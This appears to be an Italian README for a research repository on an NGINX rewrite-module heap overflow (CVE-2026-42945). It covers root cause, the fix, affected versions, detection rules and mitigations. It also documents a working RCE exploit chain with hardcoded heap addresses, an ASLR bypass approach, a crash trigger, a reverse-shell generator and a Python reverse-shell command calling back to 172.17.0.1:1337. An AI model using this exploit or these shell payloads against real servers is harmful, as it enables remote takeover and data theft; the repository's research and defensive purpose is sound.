Repository di ricerca completo su CVE-2026-42945 con analisi dell'heap buffer overflow, exploit RCE (heap spray + Feng Shui), script di rilevamento e indicazioni per il patching della vulnerabilità del modulo rewrite di NGINX.
| Metrica | Valore |
|---|
| CVSS v4.0 | 9.2 (Critico) |
| CVSS v3.1 | 8.1 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — Overflow del buffer basato su heap |
| Introdotta | Giugno 2008 — v0.6.27 |
| Scoperta | Aprile 2026 — DepthFirst Research |
| Corretta | 13 maggio 2026 — v1.30.1, v1.31.0 |
| Pubblicazione CVE | 21 maggio 2026 |
| Durata | ~18 anni (non rilevata) |
| Commit di correzione | 524977e7c534e87e5b55739fa74601c9f1102686 |
Un attaccante remoto non autenticato può innescare un overflow del buffer heap deterministico nei processi worker di NGINX inviando una richiesta HTTP appositamente predisposta a un server con una specifica configurazione di rewrite + set/if/rewrite. L'overflow corrompe i metadati dell'heap (puntatori ngx_pool_cleanup_t), consentendo Remote Code Execution (RCE) tramite tecniche di heap spray e Feng Shui.
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Requisiti chiave:**
- Una direttiva `rewrite` la cui sostituzione contiene `?` (separatore di query-string)
- Una successiva direttiva `set`, `if` o `rewrite` che fa riferimento a una **cattura PCRE senza nome** (`$1`, `$2`, ecc.)
- Il `?` nella sostituzione della `rewrite` attiva `ngx_http_script_start_args_code` che imposta `e->is_args = 1`
### Cosa può ottenere un attaccante
| Capacità | Descrizione |
|-----------|-------------|
| **Denial of Service** | Crash deterministico dei processi worker, causando cicli di respawn (funziona indipendentemente dall'ASLR) |
| **Remote Code Execution** | Con ASLR disabilitato (o bypassato tramite sovrascrittura parziale), raggiungere RCE completa come utente nginx |
| **Esfiltrazione di dati** | Attraverso primitive di lettura della memoria, estrarre dati sensibili dall'heap dei worker |
| **Persistenza** | Installare backdoor tramite l'esecuzione di codice nella memoria dei processi worker |
---
## 2. Analisi della causa principale
### Il motore di script a due passaggi
Il modulo `ngx_http_rewrite_module` di NGINX utilizza un **motore di script a due passaggi** in `src/http/ngx_http_script.c`:
1. **Passaggio di lunghezza** (`ngx_http_script_run`): itera su tutti i codici di script per calcolare la dimensione totale del buffer necessaria. Scrive le lunghezze in `le.ip` e `le.pos`.
2. **Passaggio di copia** (`ngx_http_script_copy_len`/`_code`): itera nuovamente, scrivendo i byte effettivi nel buffer pre-allocato in `e->ip` e `e->pos`.
Ogni codice di script ha due handler: uno per ciascun passaggio. Per esempio:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### Il flag `is_args`
Il flag `e->is_args` sulla **struttura del motore** (`ngx_http_script_engine_t`) controlla come il passaggio di copia gestisce determinati caratteri:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
Quando e->is_args = 1, il codice di copia per i riferimenti di cattura $N chiama ngx_escape_uri() con NGX_ESCAPE_ARGS, che espande:
+ → %2B (1 byte → 3 byte, +200%)% → %25 (1 byte → 3 byte, +200%)& → %26 (1 byte → 3 byte, +200%)Il flusso di esecuzione per il pattern vulnerabile:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. Durante la **valutazione della riscrittura**, il motore incontra `?` nella stringa di sostituzione, che attiva `ngx_http_script_start_args_code`, impostando `e->is_args = 1`.
2. La riscrittura modifica l'URI della richiesta e poi continua alla direttiva successiva.
3. **`e->is_args` NON VIENE MAI AZZERATO**.
Quindi:```
set $original_endpoint $1;
le) viene creato per il passaggio di lunghezza: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
Questo azzera correttamente le.is_args = 0, quindi il passaggio di lunghezza restituisce la lunghezza di cattura grezza, non escapata.
e, che ha ancora e->is_args = 1 dal passaggio 1. Il passaggio di copia applica l'URI-escaping, espandendo ogni carattere escapabile da 1 byte a 3 byte all'interno di un buffer dimensionato per la lunghezza grezza — heap overflow.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
Il rapporto di espansione è `7 + (n_escapable * 2)` dove `n_escapable` è il conteggio di `+`, `%` e `&` nella cattura.
---
## 3. Meccaniche di sfruttamento
### Panoramica
| Step | Tecnica | Descrizione |
|------|---------|-------------|
| 1 | Overflow | Invia URI modificato con padding `+` per far overfloware il buffer heap |
| 2 | Heap Spray | POST di corpi grandi a `/spray` per riempire l'heap con dati controllati |
| 3 | Feng Shui | Disporre le allocazioni in modo che il bersaglio dell'overflow (`ngx_pool_cleanup_t`) sia adiacente |
| 4 | Corrompi handler | L'overflow sovrascrive `ngx_pool_cleanup_t.handler` con l'indirizzo di `system()` |
| 5 | Attiva cleanup | Attendi la distruzione del pool → `system(cmd)` esegue il comando dell'attaccante |
| 6 | Reverse shell | Collega a un payload di reverse shell per accesso interattivo |
### Feng Shui tra richieste
**Il Feng Shui a singola richiesta fallisce** perché l'overflow corrompe i metadati del pool (`->d.next`, `->d.failed`) prima di raggiungere il puntatore `cleanup`. Quando il pool viene distrutto alla fine della richiesta, i metadati corrotti causano un **crash prima che `system()` venga chiamato**.
Invece, l'exploit usa il **Feng Shui tra richieste**:
1. **Richiesta 1 (spray)**: POST di un corpo grande a `/spray`. Il backend (`server.py`) mantiene la risposta con l'header `X-Delay`, tenendo aperta la connessione e preservando l'allocazione heap. Lo spray riempie l'heap con blocchi fittizi `ngx_pool_cleanup_t`.
2. **Richiesta 2 (overflow)**: Invia l'URI di overflow. L'overflow corrompe solo il puntatore `cleanup` (non i metadati del pool), puntandolo al blocco fittizio creato dallo spray.
3. **Distruzione del pool**: Quando la risposta dello spray termina (il ritardo scade), la catena di cleanup del pool raggiunge il blocco fittizio e chiama `system(cmd)`.
### Requisiti di indirizzo
| Simbolo | Valore (Docker, ASLR disattivato) | Descrizione |
|---------|-----------------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base dell'heap di nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` in glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Puntatore al pool dei cicli |
| Indirizzo cleanup fittizio | `0x5555556a4030` | Indirizzo bersaglio dello spray |
### Bypass di ASLR
Senza disabilitare ASLR, il **DoS** (crash) funziona comunque deterministicamente. Per RCE con ASLR abilitato, due approcci:
1. **Overwrite parziale**: Usa un overwrite di 1 o 2 byte per spostare un puntatore all'interno della stessa pagina, provando brute-force sui nibble rimanenti (16–256 tentativi).
2. **Fuga di informazioni**: Leggi `/proc/self/maps` o usa l'analisi della memoria di `log_parser.py` per determinare il layout.
---
## 4. Analisi della correzione
### La correzione ufficiale
**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`
**File**: `src/http/ngx_http_script.c`
**Riga**: ~1205 (in `ngx_http_script_regex_end_code`)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code viene eseguito dopo ogni valutazione dell'espressione regolare sia durante il passaggio di lunghezza che quello di copia. Reimpostare e->is_args = 0 qui garantisce:
set, if, rewrite) partono con un is_args = 0 pulitongx_http_script_start_args_code può ancora impostare is_args = 1 quando incontra ? in una stringa di sostituzione — la correzione non rompe questa funzionalitàpatches/0002-hardening-bounds-check.patch aggiunge un controllo dei limiti in ngx_http_script_copy_capture_code:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### Patch di Backport
| Patch | Versioni Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. Versioni interessate
### NGINX Open Source
| Intervallo | Stato |
|-------|--------|
| **0.1.0 – 0.6.26** | Non interessato (il modulo rewrite precede le catture senza nome) |
| **0.6.27 – 1.30.0** | **Vulnerabile** (finestra di 18 anni) |
| **1.30.1** | Prima versione corretta |
| **1.31.0+** | Corretta (mainline) |
### NGINX Plus
| Release | Interessata | Corretta |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### Ecosistema NGINX
| Prodotto | Interessato | Stato |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Advisory in sospeso |
| F5 NGINX WAF | 5.9.0–5.12.1 | Advisory in sospeso |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Advisory in sospeso |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Advisory in sospeso |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Advisory in sospeso |
| NGINX Agent | 2.0.0–2.35.0 | Advisory in sospeso |
---
## 6. Rilevamento
### Controllo versione```bash
bash detection/detect_vuln.sh
Questo script controlla:
rewrite + ? + capturepython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### Scansione dei container```bash
python3 detection/container_scan.py
Esegue la scansione delle immagini Docker locali per etichette/variabili d'ambiente NGINX che indicano versioni vulnerabili.
| Set di regole | File | Copertura |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | Blocca 100+ + consecutivi, 50+ caratteri escapabili codificati, limita la frequenza degli endpoint di spray |
| Suricata/Snort | detection/suricata_rule.rules | Rileva eccesso di + nelle URI GET, flood di caratteri codificati, POST spray verso /spray, DoS con crash-loop |
| Falco | detection/falco_rule.yaml | Runtime: SIGSEGV sul worker nginx, crash loop (3+ in 60s), rilevamento di heap spray tramite POST |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
---
## 7. Mitigazione
### Immediata (Nessuna Modifica al Codice)
Sostituisci le **catture senza nome** con **catture con nome** in tutte le direttive `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
Le catture nominate non passano attraverso ngx_escape_uri(..., NGX_ESCAPE_ARGS), quindi anche con e->is_args = 1, non avviene alcuna espansione e non si verifica alcun overflow.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
Applica queste misure di hardening:
- Verifica ASLR e abilitazione forzata
- Isolamento dei processi worker
- Restrizione dei core dump
- Hardening SSL/TLS
- Rate limiting
- Header CSP
### Verifica ASLR```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
---
## 9. Avvio rapido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
L'ambiente Docker:
- Compila NGINX dal sorgente al commit `98fc3bb78` (ultimo commit vulnerabile prima della correzione)
- Include GDB, valgrind, `util-linux` (per `setarch -R` per disabilitare ASLR)
- Espone le porte **19321** (nginx vulnerabile), **19322** (secondaria), **19323** (backend Python)
- L'entrypoint usa `setarch x86_64 -R` per disabilitare ASLR per un layout di indirizzi dell'exploit deterministico
- Concede la capability `SYS_PTRACE` e `seccomp=unconfined` per il debug
### Solo Vulnerabile```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
## 11. Innescare l'overflow
### Crash di base (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
Questo invia:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
I caratteri `+` nella cattura `$1` vengono espansi di 3× durante il passaggio di copia mentre il buffer era dimensionato per la lunghezza grezza, causando un overflow dell'heap.
### Output previsto```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
Calcola il numero minimo di segni `+` necessari per causare l'overflow di un numero target di byte (utile quando si sfruttano specifiche strutture heap).
### Espansione dei caratteri```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
Restituisce il rapporto di espansione per una data lunghezza del prefisso e numero di caratteri escapabili.
L'exploit implementa cross-request Feng Shui per ottenere un'esecuzione di codice affidabile:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### Uso base```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### Opzioni avanzate
| Flag | Default | Descrizione |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host di destinazione |
| `--port` | `19321` | Porta di destinazione |
| `--cmd` | — | Comando da eseguire (richiesto a meno che non si usi `--shell`) |
| `--shell` | — | Usa la modalità shell interattiva |
| `--tries` | `3` | Numero di tentativi di exploit |
| `--delay` | `2.0` | Ritardo tra spray e overflow (secondi) |
| `--payload` | — | Percorso del file payload personalizzato |
| `--debug` | — | Abilita output di debug dettagliato |
### Analisi del layout dell'heap```bash
python3 exploit/heap_layout.py
Richiede un PID di un worker nginx in esecuzione. Analizza /proc/PID/maps per trovare:
system()python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
Trova indirizzi heap i cui byte non includono caratteri escapabili (`+`, `%`, `&`, `?`, ecc.) per l'uso nella costruzione di payload di exploit.
---
## 13. Verifica della Reverse Shell
### Architettura```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| Tipo | Binario | Note |
|---|---|---|
bash | /dev/tcp | TCP integrato di bash |
python | python3 -c | Il più affidabile, sempre disponibile |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | Richiede certificato |
powershell | powershell | Target Windows |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### Verifica Automatica```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
---
## 14. Applicazione della patch
### Applicare la correzione```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### Applica Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. Test
### Test unitari```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
Esecuzioni:
1. Test unitari (pytest o unittest)
2. Test di trigger/overflow (se il server è in esecuzione)
3. Scanner di configurazione su configurazioni vulnerabili e sicure
4. Validazione patch in dry-run
### Matrice di regressione```bash
bash tools/regression_matrix.sh
Testa più versioni di NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) con configurazioni vulnerabili e sicure, verificando le aspettative di crash/non-crash.
bash tools/test_all_configs.sh
Testa tutti i pattern di configurazione (basic, advanced, ingress, gateway) con trigger di overflow.
---
## 16. Fuzzing
### libFuzzer Harness
Il fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula il motore di script a due passate:
1. Analizza l'input come una sequenza di codici script
2. Esegue la passata di lunghezza
3. Esegue la passata di copia con `e->is_args = 1`
4. Rileva overflow del buffer tramite ASAN o mismatch di dimensione```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Lancia AFL++ con ASAN, timeout configurabile e limiti di memoria contro l'harness di fuzzing.
### Corpus di seed
La directory `fuzz/corpus/` contiene input seed che riproducono il pattern vulnerabile, tra cui:
- Trigger di overflow di base
- Cattura nominata (non dovrebbe causare overflow)
- Casi limite (cattura vuota, dimensione massima, ecc.)
---
## 17. Pipeline CI
### GitHub Actions
Il progetto utilizza un **singolo workflow CI di GitHub Actions** (`.github/workflows/ci.yml`) con questi job:
| Job | Cosa fa |
|-----|-------------|
| `lint` | ShellCheck, validazione della sintassi Python |
| `scan-configs` | Esegue config_scanner.py su tutti i campioni di configurazione |
| `fuzz-build` | Compila l'harness libFuzzer |
| `test` | Esegue la suite pytest/unittest |
| `detect-patch` | Verifica il formato della patch e il contenuto del fix |
| `verify-project` | Esegue `tools/verify_project.sh` |
### Pipeline completa```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
La pipeline esegue 7 fasi:
| Documento | Descrizione |
|---|---|
docs/root-cause-analysis.md | Analisi tecnica approfondita del bug del motore script a due passaggi, con analisi del codice e diagrammi |
docs/exploitation-guide.md | Sfruttamento passo-passo, heap spray, Feng Shui, calcolo degli indirizzi, bypass di ASLR |
docs/detection-guide.md | Scansione della configurazione, analisi dei log, regole WAF, integrazione SIEM, rilevamento delle anomalie |
docs/mitigation-guide.md | Conversione delle catture con nome, limitazione della frequenza, distribuzione del WAF, procedure di aggiornamento |
docs/FAQ.md | Domande frequenti su vulnerabilità, sfruttamento e misure correttive |
docs/timeline.md | Cronologia di divulgazione completa dall'introduzione del bug nel 2008 fino alla correzione nel 2026 |
docs/operational-guidance.md | Risposta agli incidenti, analisi forense, raccolta di IOC, mitigazione di emergenza |
docs/case-study.md | Simulazione di uno scenario di attacco reale con analisi della kill chain |
docs/presentation-slides.md | Presentazione per conferenze/meetup con note del relatore |
| Metrica | Valore |
|---|---|
| File totali | 80+ |
| Directory | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Script Python | 22 (exploit, detection, tools, shell, test) |
| Script shell | 15 (detection, tools, shell, test, pipelines) |
| Patch | 5 (1 fix + 1 hardening + 3 backports) |
| Set di regole WAF | 3 (ModSecurity, Suricata, Falco) |
| Configurazione CI | 1 (GitHub Actions — solo CI) |
| Documentazione | 9 documenti tecnici dettagliati |
| Esempi di configurazione | 7 (4 vulnerabili, 2 sicuri, 1 con cattura con nome + 3 avanzati) |
| Log dei commit | 1003+ commit individuali |
| Tipi di shell | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Harness di fuzzing | 1 (libFuzzer, ~200 righe di C) |
| Casi di test | 8 test unitari + shell runner |
| Versioni NGINX coperte | 20 nella matrice di regressione |
| Ciclo di vita | 18 anni (2008–2026) |
| Riferimento | URL |
|---|---|
| Voce NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Commit di correzione | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| Avviso F5 | https://my.f5.com/manage/s/article/K000161019 |
| Changelog NGINX | https://nginx.org/en/CHANGES |
| Riferimento | URL |
|---|---|
| DepthFirst Research | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| Repository PoC | https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
| Risorsa | Descrizione |
|---|---|
ngx_http_script.c | Il file sorgente con il bug nel modulo rewrite di NGINX |
ngx_pool_cleanup_t | La struttura dell'heap corrotta per la RCE |
ngx_escape_uri() | La funzione di espansione che causa l'overflow |
setarch(8) | Strumento Linux per disabilitare ASLR per indirizzi di exploit deterministici |
Questo progetto ha finalità educative e di ricerca sulla sicurezza difensiva. La vulnerabilità è stata divulgata in modo responsabile e corretta dai manutentori di NGINX.